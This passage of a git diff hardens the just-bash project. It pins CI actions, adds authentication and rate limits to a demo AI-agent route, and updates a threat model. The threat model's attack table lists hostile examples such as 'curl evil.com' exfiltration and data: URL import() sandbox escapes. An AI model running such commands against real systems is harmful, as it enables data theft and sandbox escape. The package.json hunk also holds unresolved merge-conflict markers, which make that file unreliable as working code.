diff --git a/.github/dependabot.yml b/.github/dependabot.yml
new file mode 100644
index 00000000..3374d507
--- /dev/null
+++ b/.github/dependabot.yml
@@ -0,0 +1,9 @@
+version: 2
+updates:
+  - package-ecosystem: github-actions
+    directory: /
+    schedule:
+      interval: weekly
+    labels:
+      - dependencies
+      - security
diff --git a/.github/workflows/comparison-tests.yml b/.github/workflows/comparison-tests.yml
index c9103754..b20dc899 100644
--- a/.github/workflows/comparison-tests.yml
+++ b/.github/workflows/comparison-tests.yml
@@ -6,16 +6,21 @@ on:
   pull_request:
     branches: [main]
 
+permissions:
+  contents: read
+
 jobs:
   comparison-tests:
     runs-on: ubuntu-latest
 
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+        with:
+          persist-credentials: false
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
 
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
         with:
           node-version: "20"
           cache: "pnpm"
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index f7aedfd8..ad980e8e 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -6,16 +6,21 @@ on:
   pull_request:
     branches: [main]
 
+permissions:
+  contents: read
+
 jobs:
   lint:
     runs-on: ubuntu-latest
 
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+        with:
+          persist-credentials: false
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
 
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
         with:
           node-version: "20"
           cache: "pnpm"
diff --git a/.github/workflows/python-tests.yml b/.github/workflows/python-tests.yml
index 9eb4d9b3..1f03e12c 100644
--- a/.github/workflows/python-tests.yml
+++ b/.github/workflows/python-tests.yml
@@ -6,18 +6,22 @@ on:
   pull_request:
     branches: [main]
 
+permissions:
+  contents: read
+
 jobs:
   python-tests:
     runs-on: ubuntu-latest
 
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
         with:
           lfs: true
+          persist-credentials: false
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
 
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
         with:
           node-version: "22"
           cache: "pnpm"
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 62b55192..ce3db8cb 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -34,6 +34,7 @@ jobs:
         with:
           fetch-depth: 0
           lfs: true
+          persist-credentials: false
 
       - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
 
@@ -47,6 +48,12 @@ jobs:
           cache: "pnpm"
           registry-url: "https://registry.npmjs.org"
 
+      # node-liblzma is compiled during install. Keep this in sync with the
+      # unit-test workflow so the release gate exercises XZ support rather
+      # than silently installing without a usable native codec.
+      - name: Install XZ build dependency
+        run: sudo apt-get update && sudo apt-get install --yes liblzma-dev
+
       - name: Install dependencies
         run: pnpm install --frozen-lockfile
 
diff --git a/.github/workflows/typecheck.yml b/.github/workflows/typecheck.yml
index 9144ae07..867eefb0 100644
--- a/.github/workflows/typecheck.yml
+++ b/.github/workflows/typecheck.yml
@@ -6,16 +6,21 @@ on:
   pull_request:
     branches: [main]
 
+permissions:
+  contents: read
+
 jobs:
   typecheck:
     runs-on: ubuntu-latest
 
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+        with:
+          persist-credentials: false
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
 
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
         with:
           node-version: "20"
           cache: "pnpm"
diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml
index 22867a22..58764249 100644
--- a/.github/workflows/unit-tests.yml
+++ b/.github/workflows/unit-tests.yml
@@ -6,6 +6,9 @@ on:
   pull_request:
     branches: [main]
 
+permissions:
+  contents: read
+
 jobs:
   unit-tests:
     runs-on: ubuntu-latest
@@ -14,17 +17,21 @@ jobs:
         node-version: ["20", "22", "24"]
 
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
         with:
           lfs: true
+          persist-credentials: false
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
 
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
         with:
           node-version: ${{ matrix.node-version }}
           cache: "pnpm"
 
+      - name: Install XZ build dependency
+        run: sudo apt-get update && sudo apt-get install --yes liblzma-dev
+
       - name: Install dependencies
         run: pnpm install --frozen-lockfile
 
diff --git a/THREAT_MODEL.md b/THREAT_MODEL.md
index 1c437c83..3581c5dc 100644
--- a/THREAT_MODEL.md
+++ b/THREAT_MODEL.md
@@ -158,7 +158,7 @@ The following components are **trusted** and outside the scope of just-bash's ru
 | Proxy constructor | Create intercepting proxies | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` |
 | WeakRef/FinalizationRegistry | GC observation/side channels | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` |
 | process.chdir() | Confuse CWD tracking | Blocked by defense-in-depth proxy | `src/security/blocked-globals.ts` |
-| **dynamic import()** | `import('/tmp/evil.js')` | **BLOCKED**: `Module._resolveFilename` blocks file specifiers; ESM loader hooks block `data:`/`blob:` URLs (Node.js 20.6+; see §4.1) | `src/security/defense-in-depth-box.ts` |
+| **dynamic import()** | `import('/tmp/evil.js')` | Context-aware loader hooks block builtins and executable URL schemes where supported; other supported runtimes retain best-effort secondary controls (see §4.1) | `src/security/defense-in-depth-box.ts` |
 | child_process | spawn/exec/fork | Not imported anywhere; no code path from interpreter | Architecture |
 
 ### 3.6 Information Disclosure
@@ -223,23 +223,23 @@ The following components are **trusted** and outside the scope of just-bash's ru
 
 ## 4. Known Gaps & Residual Risks
 
-### 4.1 Dynamic import() Mitigated (Three Layers)
+### 4.1 Dynamic import() Defense Varies by Runtime Capability
 
-**Risk**: LOW (comprehensively mitigated on Node.js 20.6+)
+**Risk**: Defense-in-depth only; inspect the resolved runtime capability.
 
 Dynamic `import()` is a language-level keyword, not a property on any object. It cannot be intercepted by Proxy or defineProperty. However, it CAN be intercepted via Node.js ESM loader hooks.
 
 **Attack scenario**: If attacker achieves JS code execution → `import('data:text/javascript,...')` → full escape.
 
-**Mitigations** (three layers):
-1. **Module._resolveFilename blocked** — file-based `import()` specifiers (e.g., `import('/tmp/evil.js')`) are intercepted at the CJS module resolution level and blocked
-2. **ESM loader hooks** — `module.registerHooks()` (Node.js 23.5+) or `module.register()` (Node.js 20.6+) installs hooks that reject `data:` and `blob:` URL specifiers process-wide. No CLI flags required.
-3. **Filesystem restrictions** — OverlayFs writes to memory only, InMemoryFs has no real FS backing, so attacker cannot write .js files to the real filesystem
-4. **Architecture** — no code path exists from bash interpretation to JS execution; all paths (Function, eval, setTimeout, constructor chains) are blocked
+**Mitigations**:
+1. **Context-aware loader hooks** — when `node:module.registerHooks()` is available, builtin and executable URL imports are rejected only from the untrusted async context.
+2. **Scoped host controls** — supported runtimes without contextual hooks still apply the reversible best-effort global and CommonJS defenses.
+3. **Filesystem restrictions** — OverlayFs writes to memory only, and InMemoryFs has no real filesystem backing.
+4. **Architecture** — ordinary shell interpretation does not evaluate JavaScript. The opt-in `js-exec` feature uses a separately hardened worker boundary.
 
-**Residual risk**: On Node.js < 20.6 where `module.register()` is unavailable, `data:` URL imports remain unblockable. For those deployments, use `--experimental-loader` CLI hooks as an additional layer.
-
-**Note**: The ESM loader hooks are process-wide and permanent (cannot be unregistered). This is an accepted trade-off — `data:` and `blob:` URL imports are essentially never used in production Node.js applications.
+Call `DefenseInDepthBox.getInstance().getStatus()` and require `level: "full"`
+when contextual dynamic-import protection is a deployment requirement. The
+library does not install a permanent process-global deny-all loader.
 
 ### 4.2 Pre-Captured References Bypass Defense-in-Depth
 
@@ -295,7 +295,7 @@ When `python: true`, CPython 3.13 Emscripten provides full Python execution via
 - Disabled by default; must be explicitly enabled via `{ python: true }`
 - 30-second timeout (`maxPythonTimeoutMs`; configurable)
 - Fresh Worker thread per execution (EXIT_RUNTIME; no state leakage between runs)
-- `WorkerDefenseInDepth` with only 2 exclusions: `shared_array_buffer`, `atomics`
+- `WorkerDefenseInDepth` with narrowly documented Emscripten compatibility exclusions; an earlier worker-entry guard blocks the exact dangerous CommonJS builtins before CPython loads
 - Stdlib shipped as `.pyc`-only zip in MEMFS (no real FS access, no runtime compilation)
 - 18+ file operations (open, stat, glob, pathlib, shutil, etc.) redirected through `/host` mount
 - C-level file operations (`_io.open`) also confined by Emscripten VFS (no NODEFS/NODERAWFS)
@@ -308,7 +308,7 @@ When `python: true`, CPython 3.13 Emscripten provides full Python execution via
 - Python's `eval()` and `exec()` execute arbitrary Python (same as bash `eval`; no JS escalation path)
 - `/lib` (MEMFS stdlib) is writable within a single execution (each execution is fresh)
 - Symlink targets are readable via `os.readlink()` but not followable outside root
-- Python can allocate memory up to WASM limits (mitigated by 30s timeout)
+- CPython's WASM linear memory is not reliably contained by Node worker `resourceLimits`. Queue, deadline, bridge, and HOSTFS size controls bound other resources, but strong heap containment requires process/container isolation or a lower-memory CPython WASM build.
 
 ### 4.8 Error Message Information Leakage
 
@@ -358,7 +358,7 @@ Heredocs with variable expansion are size-limited (10MB) but nested heredocs wit
 | 3 | Access process.env | No bash→JS path. If bug: defense-in-depth → throw | **BLOCKED** (arch + secondary) |
 | 4 | Infinite loop | `while true; do :; done` → maxLoopIterations → throw | **BLOCKED** (limits) |
 | 5 | Prototype pollution | `arr[__proto__]=evil` → Map/null-prototype → no effect | **BLOCKED** (data guards) |
-| 6 | dynamic import() escape | Hypothetical JS exec → `import('data:...')` → ESM hooks block data:/blob: URLs | **BLOCKED** (Node.js 20.6+; residual on older) |
+| 6 | dynamic import() escape | Hypothetical JS exec → `import('data:...')` → contextual loader hook | **BLOCKED when status is `level: "full"`; inspect lower levels otherwise** |
 | 7 | Network exfiltration | `curl evil.com` → network off → curl not registered | **BLOCKED** (network isolation) |
 | 8 | process.exit() | No bash→JS path. If bug: defense-in-depth → throw | **BLOCKED** (arch + secondary) |
 | 9 | Brace expansion OOM | `{1..999999999}` → maxBraceExpansionResults → truncated | **BLOCKED** (limits) |
@@ -374,13 +374,13 @@ Heredocs with variable expansion are size-limited (10MB) but nested heredocs wit
 | 20 | performance.now() timing | Sub-ms timing attack → blocked by defense-in-depth | **BLOCKED** (secondary) |
 | 21 | Prototype pollution via `__defineGetter__` | Inject getter on prototype → blocked by defense-in-depth | **BLOCKED** (secondary) |
 | 22 | File-based import() | `import('/tmp/evil.js')` → Module._resolveFilename blocked → throw | **BLOCKED** (secondary) |
-| 23 | data: URL import() | `import('data:text/javascript,...')` → ESM loader hooks → throw | **BLOCKED** (Node.js 20.6+) |
+| 23 | data: URL import() | `import('data:text/javascript,...')` → contextual loader hook → throw | **BLOCKED when status is `level: "full"`; inspect lower levels otherwise** |
 
 ---
 
 ## 7. Recommendations for Future Hardening
 
-1. ~~**`--experimental-loader` for import() blocking**~~ — **IMPLEMENTED**: ESM loader hooks via `module.register()` (Node.js 20.6+) / `module.registerHooks()` (Node.js 23.5+) block `data:` and `blob:` URL imports process-wide. Combined with `Module._resolveFilename` blocking for file specifiers, `import()` is fully mitigated on Node.js 20.6+. No CLI flags required.
+1. **Runtime isolation for host-realm execution** — require `level: "full"` or use a dedicated worker/process when opt-in JavaScript can reach the host realm.
 2. ~~**Systematic error message audit**~~ — **IMPLEMENTED**: `sanitizeErrorMessage()` applied at all error choke points; strips OS paths, `node:internal/` paths, and stack traces
 3. **Content Security Policy for output** — Consider sanitizing output to prevent XSS when sandbox output is rendered in web contexts
 4. **Expand fuzzing corpus** — Add grammar rules for trap, job control (`&`, `fg`, `bg`), and deeply nested heredocs with expansion
diff --git a/biome.json b/biome.json
index 1086712c..0ed055f2 100644
--- a/biome.json
+++ b/biome.json
@@ -59,7 +59,8 @@
       "!**/*.parsed.json",
       "!.claude",
       "!.pnpm-store",
-      "!.docs-test-tmp",
+      "!**/.docs-test-tmp",
+      "!.deepsec/data",
       "!packages/just-bash/src/commands/python3/worker.js",
       "!packages/just-bash/src/commands/js-exec/js-exec-worker.js",
       "!packages/just-bash/src/commands/sqlite3/worker.js",
diff --git a/examples/executor-tools/CHANGELOG.md b/examples/executor-tools/CHANGELOG.md
index ec279b83..b3e0b81c 100644
--- a/examples/executor-tools/CHANGELOG.md
+++ b/examples/executor-tools/CHANGELOG.md
@@ -1,5 +1,13 @@
 # executor-tools-example
 
+## 1.0.7
+
+### Patch Changes
+
+- Updated dependencies [[`3d39a71`](https://github.com/vercel-labs/just-bash/commit/3d39a714b3751cedc173dffae27933dfe7b8b3b5), [`6df692f`](https://github.com/vercel-labs/just-bash/commit/6df692f236ca108c888552a67557998156ac845b), [`7c4caed`](https://github.com/vercel-labs/just-bash/commit/7c4caedf02599628f19b243f960d480760f5e476)]:
+  - just-bash@3.2.0
+  - @just-bash/executor@3.0.0
+
 ## 1.0.6
 
 ### Patch Changes
diff --git a/examples/executor-tools/package.json b/examples/executor-tools/package.json
index d806ef2b..b837b649 100644
--- a/examples/executor-tools/package.json
+++ b/examples/executor-tools/package.json
@@ -1,6 +1,6 @@
 {
   "name": "executor-tools-example",
-  "version": "1.0.6",
+  "version": "1.0.7",
   "description": "Example of @just-bash/executor — inline tools + GraphQL/OpenAPI/MCP discovery",
   "type": "module",
   "scripts": {
diff --git a/examples/website/README.md b/examples/website/README.md
index 0fe9500c..5e64836f 100644
--- a/examples/website/README.md
+++ b/examples/website/README.md
@@ -2,6 +2,15 @@
 
 This is an interactive demo of **just-bash** running entirely in your browser, with an AI agent that can explore the source code.
 
+The paid-model `/api/agent` route is disabled by default in production. Set
+`JUST_BASH_AGENT_API_TOKEN` and have an authenticated same-origin gateway add
+`Authorization: Bearer <token>` to enable it. Never embed this server token in
+browser JavaScript. The route also bounds request history, output tokens,
+agent steps, retries, body-read and execution time, per-instance concurrency,
+and admission rate. Production deployments should also add distributed provider/edge
+per-principal rate and spend limits; an instance-local counter is not a global
+quota in a horizontally scaled deployment.
+
 ## Architecture
 
 ```
diff --git a/examples/website/app/api/agent/route.ts b/examples/website/app/api/agent/route.ts
index 86636b81..8e98a811 100644
--- a/examples/website/app/api/agent/route.ts
+++ b/examples/website/app/api/agent/route.ts
@@ -1,11 +1,256 @@
 import { ToolLoopAgent, createAgentUIStreamResponse, stepCountIs } from "ai";
 import { createBashTool } from "bash-tool";
 import { Bash, OverlayFs } from "just-bash";
+import { timingSafeEqual } from "node:crypto";
 import { dirname, join } from "path";
 import { fileURLToPath } from "url";
 
 const __dirname = dirname(fileURLToPath(import.meta.url));
 const AGENT_DATA_DIR = join(__dirname, "./_agent-data");
+const MAX_REQUEST_BYTES = 64 * 1024;
+const MAX_MESSAGES = 20;
+const MAX_MESSAGE_TEXT_BYTES = 48 * 1024;
+const MAX_BODY_READ_MS = 15_000;
+const MAX_CONCURRENT_REQUESTS = 8;
+const MAX_REQUESTS_PER_MINUTE = 120;
+let activeRequests = 0;
+const recentAdmissions: number[] = [];
+
+function unauthorized(): Response {
+  return Response.json({ error: "Unauthorized" }, { status: 401 });
+}
+
+function authenticate(req: Request): Response | undefined {
+  const configuredToken = process.env.JUST_BASH_AGENT_API_TOKEN;
+  if (!configuredToken) {
+    // The paid-model demo is convenient during local development, but a
+    // production deployment must opt in with an authentication boundary.
+    return process.env.NODE_ENV === "production"
+      ? Response.json(
+          { error: "Agent endpoint is disabled" },
+          { status: 503 },
+        )
+      : undefined;
+  }
+
+  const authorization = req.headers.get("authorization");
+  if (!authorization?.startsWith("Bearer ")) return unauthorized();
+  const supplied = authorization.slice("Bearer ".length);
+  const suppliedBytes = Buffer.from(supplied);
+  const configuredBytes = Buffer.from(configuredToken);
+  if (
+    suppliedBytes.byteLength !== configuredBytes.byteLength ||
+    !timingSafeEqual(suppliedBytes, configuredBytes)
+  ) {
+    return unauthorized();
+  }
+  return undefined;
+}
+
+function admitRequest(): (() => void) | Response {
+  const now = Date.now();
+  while (recentAdmissions[0] !== undefined && recentAdmissions[0] <= now - 60_000) {
+    recentAdmissions.shift();
+  }
+  if (
+    activeRequests >= MAX_CONCURRENT_REQUESTS ||
+    recentAdmissions.length >= MAX_REQUESTS_PER_MINUTE
+  ) {
+    return Response.json(
+      { error: "Too many requests" },
+      { status: 429, headers: { "Retry-After": "60" } },
+    );
+  }
+  activeRequests++;
+  recentAdmissions.push(now);
+  let released = false;
+  return () => {
+    if (released) return;
+    released = true;
+    activeRequests--;
+  };
+}
+
+function releaseWhenStreamCloses(
+  response: Response,
+  release: () => void,
+): Response {
+  if (!response.body) {
+    release();
+    return response;
+  }
+  const reader = response.body.getReader();
+  const body = new ReadableStream<Uint8Array>({
+    async pull(controller) {
+      try {
+        const { done, value } = await reader.read();
+        if (done) {
+          release();
+          controller.close();
+        } else {
+          controller.enqueue(value);
+        }
+      } catch (error) {
+        release();
+        controller.error(error);
+      }
+    },
+    async cancel(reason) {
+      try {
+        await reader.cancel(reason);
+      } finally {
+        release();
+      }
+    },
+  });
+  return new Response(body, {
+    status: response.status,
+    statusText: response.statusText,
+    headers: response.headers,
+  });
+}
+
+async function readBoundedMessages(req: Request): Promise<unknown[]> {
+  const declaredLength = Number(req.headers.get("content-length"));
+  if (Number.isFinite(declaredLength) && declaredLength > MAX_REQUEST_BYTES) {
+    throw new RangeError("request body too large");
+  }
+
+  const reader = req.body?.getReader();
+  if (!reader) throw new TypeError("request body is required");
+  const decoder = new TextDecoder();
+  let totalBytes = 0;
+  let json = "";
+  let bodyReadTimedOut = false;
+  const cancelRead = () => void reader.cancel("request cancelled");
+  req.signal.addEventListener("abort", cancelRead, { once: true });
+  const bodyTimer = setTimeout(() => {
+    bodyReadTimedOut = true;
+    void reader.cancel("request body deadline exceeded");
+  }, MAX_BODY_READ_MS);
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) break;
+      totalBytes += value.byteLength;
+      if (totalBytes > MAX_REQUEST_BYTES) {
+        await reader.cancel();
+        throw new RangeError("request body too large");
+      }
+      json += decoder.decode(value, { stream: true });
+    }
+  } finally {
+    clearTimeout(bodyTimer);
+    req.signal.removeEventListener("abort", cancelRead);
+  }
+  if (bodyReadTimedOut) throw new RangeError("request body deadline exceeded");
+  json += decoder.decode();
+
+  const parsed: unknown = JSON.parse(json);
+  if (
+    typeof parsed !== "object" ||
+    parsed === null ||
+    !("messages" in parsed) ||
+    !Array.isArray(parsed.messages) ||
+    parsed.messages.length === 0 ||
+    parsed.messages.length > MAX_MESSAGES
+  ) {
+    throw new TypeError("invalid messages");
+  }
+
+  let textBytes = 0;
+  let structuredNodes = 0;
+  const chargeString = (value: string): void => {
+    textBytes += new TextEncoder().encode(value).byteLength;
+    if (textBytes > MAX_MESSAGE_TEXT_BYTES) {
+      throw new RangeError("message text too large");
+    }
+  };
+  const validateStructuredPart = (root: unknown): void => {
+    const stack: Array<{ value: unknown; depth: number }> = [
+      { value: root, depth: 0 },
+    ];
+    while (stack.length > 0) {
+      const entry = stack.pop();
+      if (!entry) break;
+      structuredNodes++;
+      if (structuredNodes > 1_000 || entry.depth > 8) {
+        throw new RangeError("message structure too large");
+      }
+      if (typeof entry.value === "string") {
+        chargeString(entry.value);
+      } else if (Array.isArray(entry.value)) {
+        for (const value of entry.value) {
+          stack.push({ value, depth: entry.depth + 1 });
+        }
+      } else if (typeof entry.value === "object" && entry.value !== null) {
+        for (const [key, value] of Object.entries(entry.value)) {
+          if (
+            key === "__proto__" ||
+            key === "prototype" ||
+            key === "constructor"
+          ) {
+            throw new TypeError("invalid message key");
+          }
+          chargeString(key);
+          stack.push({ value, depth: entry.depth + 1 });
+        }
+      } else if (
+        entry.value !== null &&
+        typeof entry.value !== "boolean" &&
+        typeof entry.value !== "number"
+      ) {
+        throw new TypeError("invalid message value");
+      }
+    }
+  };
+  for (const message of parsed.messages) {
+    if (
+      typeof message !== "object" ||
+      message === null ||
+      !("role" in message) ||
+      (message.role !== "user" && message.role !== "assistant") ||
+      !("parts" in message) ||
+      !Array.isArray(message.parts) ||
+      message.parts.length === 0 ||
+      message.parts.length > 20
+    ) {
+      throw new TypeError("invalid message");
+    }
+    for (const part of message.parts) {
+      if (
+        typeof part !== "object" ||
+        part === null ||
+        !("type" in part) ||
+        typeof part.type !== "string" ||
+        part.type.length > 100
+      ) {
+        throw new TypeError("invalid message part");
+      }
+      if (part.type === "text" || part.type === "reasoning") {
+        if (part.type === "reasoning" && message.role !== "assistant") {
+          throw new TypeError("invalid reasoning part");
+        }
+        if (!("text" in part) || typeof part.text !== "string") {
+          throw new TypeError("invalid text part");
+        }
+        chargeString(part.text);
+        continue;
+      }
+      if (
+        message.role !== "assistant" ||
+        (part.type !== "dynamic-tool" &&
+          part.type !== "step-start" &&
+          !part.type.startsWith("tool-"))
+      ) {
+        throw new TypeError("unsupported message part");
+      }
+      validateStructuredPart(part);
+    }
+  }
+
+  return parsed.messages;
+}
 
 const SYSTEM_INSTRUCTIONS = `You are an expert on just-bash, a TypeScript bash interpreter with an in-memory virtual filesystem.
 
@@ -34,28 +279,47 @@ Use cat to read files. Use head, tail to read parts of large files.
 Keep responses concise. You do not have access to pnpm, npm, or node.`;
 
 export async function POST(req: Request) {
-  const { messages } = await req.json();
-  const lastUserMessage = messages.filter((m: { role: string }) => m.role === "user").pop();
-  console.log("Prompt:", lastUserMessage?.parts?.[0]?.text);
-  const overlayFs = new OverlayFs({ root: AGENT_DATA_DIR, readOnly: true });
-  const sandbox = new Bash({ fs: overlayFs, cwd: overlayFs.getMountPoint() });
-  const bashToolkit = await createBashTool({
-    sandbox,
-    destination: overlayFs.getMountPoint(),
-  });
+  const authError = authenticate(req);
+  if (authError) return authError;
+  const admission = admitRequest();
+  if (admission instanceof Response) return admission;
 
-  // Create a fresh agent per request for proper streaming
-  const agent = new ToolLoopAgent({
-    model: "claude-haiku-4-5",
-    instructions: SYSTEM_INSTRUCTIONS,
-    tools: {
-      bash: bashToolkit.tools.bash,
-    },
-    stopWhen: stepCountIs(20),
-  });
+  let messages: unknown[];
+  try {
+    messages = await readBoundedMessages(req);
+  } catch (error) {
+    admission();
+    const status = error instanceof RangeError ? 413 : 400;
+    return Response.json({ error: "Invalid request" }, { status });
+  }
+  try {
+    const overlayFs = new OverlayFs({ root: AGENT_DATA_DIR, readOnly: true });
+    const sandbox = new Bash({ fs: overlayFs, cwd: overlayFs.getMountPoint() });
+    const bashToolkit = await createBashTool({
+      sandbox,
+      destination: overlayFs.getMountPoint(),
+    });
 
-  return createAgentUIStreamResponse({
-    agent,
-    uiMessages: messages,
-  });
+    // Create a fresh agent per request for proper streaming
+    const agent = new ToolLoopAgent({
+      model: "claude-haiku-4-5",
+      maxOutputTokens: 2048,
+      maxRetries: 0,
+      instructions: SYSTEM_INSTRUCTIONS,
+      tools: {
+        bash: bashToolkit.tools.bash,
+      },
+      stopWhen: stepCountIs(8),
+    });
+
+    const response = await createAgentUIStreamResponse({
+      agent,
+      uiMessages: messages,
+      timeout: { totalMs: 30_000, stepMs: 10_000, chunkMs: 10_000 },
+    });
+    return releaseWhenStreamCloses(response, admission);
+  } catch (error) {
+    admission();
+    throw error;
+  }
 }
diff --git a/package.json b/package.json
index f3f17a8c..89117cf8 100644
--- a/package.json
+++ b/package.json
@@ -6,7 +6,7 @@
     "build": "pnpm --filter './packages/*' build",
     "build:worker": "pnpm --filter just-bash build:worker",
     "typecheck": "pnpm --filter just-bash build && pnpm --filter './packages/*' typecheck",
-    "lint": "biome check . && pnpm --filter './packages/*' lint:banned",
+    "lint": "node scripts/check-workflow-security.mjs && biome check . && pnpm --filter './packages/*' lint:banned",
     "lint:fix": "biome check --write .",
     "knip": "pnpm --filter './packages/*' knip",
     "test:run": "pnpm --filter './packages/*' test:run",
@@ -17,8 +17,12 @@
     "test:dist": "pnpm --filter './packages/*' test:dist",
     "test:examples": "pnpm --filter cjs-consumer-example typecheck",
     "check:worker-sync": "pnpm --filter just-bash check:worker-sync",
+<<<<<<< HEAD
     "flowglad:smoke": "node scripts/flowglad-consumability-smoke.mjs",
     "flowglad:tag": "node scripts/create-flowglad-package-tag.mjs",
+=======
+    "check:deepsec-revalidation": "node scripts/check-deepsec-revalidation.mjs",
+>>>>>>> @just-bash/executor@3.0.0
     "shell": "pnpm --filter just-bash shell",
     "dev:exec": "pnpm --filter just-bash dev:exec",
     "changeset": "changeset",
diff --git a/packages/just-bash-executor/CHANGELOG.md b/packages/just-bash-executor/CHANGELOG.md
index 3d21e98f..68a8bf00 100644
--- a/packages/just-bash-executor/CHANGELOG.md
+++ b/packages/just-bash-executor/CHANGELOG.md
@@ -1,5 +1,12 @@
 # @just-bash/executor
 
+## 3.0.0
+
+### Patch Changes
+
+- Updated dependencies [[`3d39a71`](https://github.com/vercel-labs/just-bash/commit/3d39a714b3751cedc173dffae27933dfe7b8b3b5), [`6df692f`](https://github.com/vercel-labs/just-bash/commit/6df692f236ca108c888552a67557998156ac845b), [`7c4caed`](https://github.com/vercel-labs/just-bash/commit/7c4caedf02599628f19b243f960d480760f5e476)]:
+  - just-bash@3.2.0
+
 ## 2.0.0
 
 ### Patch Changes
diff --git a/packages/just-bash-executor/package.json b/packages/just-bash-executor/package.json
index c768ec2a..06f6abc8 100644
--- a/packages/just-bash-executor/package.json
+++ b/packages/just-bash-executor/package.json
@@ -1,6 +1,6 @@
 {
   "name": "@just-bash/executor",
-  "version": "2.0.0",
+  "version": "3.0.0",
   "description": "Experimental tool-invocation companion for just-bash. Wires @executor-js/sdk into js-exec via the invokeTool hook.",
   "repository": {
     "type": "git",
diff --git a/packages/just-bash/CHANGELOG.md b/packages/just-bash/CHANGELOG.md
index 286a794b..75230681 100644
--- a/packages/just-bash/CHANGELOG.md
+++ b/packages/just-bash/CHANGELOG.md
@@ -1,5 +1,28 @@
 # just-bash
 
+## 3.2.0
+
+### Minor Changes
+
+- [#304](https://github.com/vercel-labs/just-bash/pull/304) [`3d39a71`](https://github.com/vercel-labs/just-bash/commit/3d39a714b3751cedc173dffae27933dfe7b8b3b5) Thanks [@subsetpark](https://github.com/subsetpark)! - Add curl `-G`/`--get` query-string data handling and preserve command-line order when repeated `-d`, `--data-raw`, `--data-binary`, and `--data-urlencode` options are mixed, including `@file` forms. Data requests now also set curl's standard `application/x-www-form-urlencoded` content type unless the caller supplies one.
+
+- [#307](https://github.com/vercel-labs/just-bash/pull/307) [`7c4caed`](https://github.com/vercel-labs/just-bash/commit/7c4caedf02599628f19b243f960d480760f5e476) Thanks [@cramforce](https://github.com/cramforce)! - Harden untrusted execution with shared aggregate budgets, liberal normal and
+  opt-in hardened limit profiles, request-bound network validation, bounded
+  archive and worker processing, transactional filesystem and shell state, and
+  expanded adversarial regression checks.
+
+  Established command declarations and host-extension defaults remain source
+  compatible. Dispatched callbacks receive a `ResolvedCommandContext` with
+  required limits; applications can use `createCommandContext({ fs })` for direct
+  invocation, opt into restricted custom-command execution with `trusted: false`,
+  and select tighter resource policy with the `hardened` profile. All
+  host-registration paths keep their established trusted default. The supported
+  Node.js floor is now declared as `>=20.18.1`.
+
+### Patch Changes
+
+- [#315](https://github.com/vercel-labs/just-bash/pull/315) [`6df692f`](https://github.com/vercel-labs/just-bash/commit/6df692f236ca108c888552a67557998156ac845b) Thanks [@matchai](https://github.com/matchai)! - Treat `--` as the end of options in `grep`.
+
 ## 3.1.0
 
 ### Minor Changes
diff --git a/packages/just-bash/README.md b/packages/just-bash/README.md
index dfb9dbca..471a4c3d 100644
--- a/packages/just-bash/README.md
+++ b/packages/just-bash/README.md
@@ -51,7 +51,31 @@ await bash.exec("hello Alice"); // "Hello, Alice!\n"
 await bash.exec("echo 'test' | upper"); // "TEST\n"
 ```
 
-Custom commands receive a `CommandContext` with `fs`, `cwd`, `env`, `stdin`, and `exec` (for subcommands), and work with pipes, redirections, and all shell features.
+Custom command callbacks receive a `ResolvedCommandContext` with `fs`, `cwd`,
+`env`, `stdin`, resolved `limits`, and `exec` (for subcommands), and work with
+pipes, redirections, and all shell features. The legacy `CommandContext` remains
+available for standalone context inputs; use `createCommandContext({ fs })` when
+calling a command directly with a fully resolved context.
+
+Host-provided commands preserve the legacy trusted default whether supplied to
+the `Bash` constructor, declared through `defineCommand`, loaded lazily, or
+added later with `bash.registerCommand()`. Set `trusted: false` (or use
+`defineCommand(name, execute, { trusted: false })`) to select the restricted
+extension boundary. Trusted commands run in the embedding process and should
+never execute guest-provided JavaScript.
+
+Every invocation is bound by `maxExecutionTimeMs`. On cancellation, just-bash
+revokes the command context immediately; `maxExtensionCleanupTimeMs` only
+bounds how long it waits for the now-authority-free command promise to settle.
+A late continuation cannot use `ctx.fs`, `ctx.env`, `ctx.exec`, or other context
+capabilities. Cleanup work that must run at scope closure can be registered with
+`ctx.executionScope.registerCleanup()`. A cleanup failure is returned as a
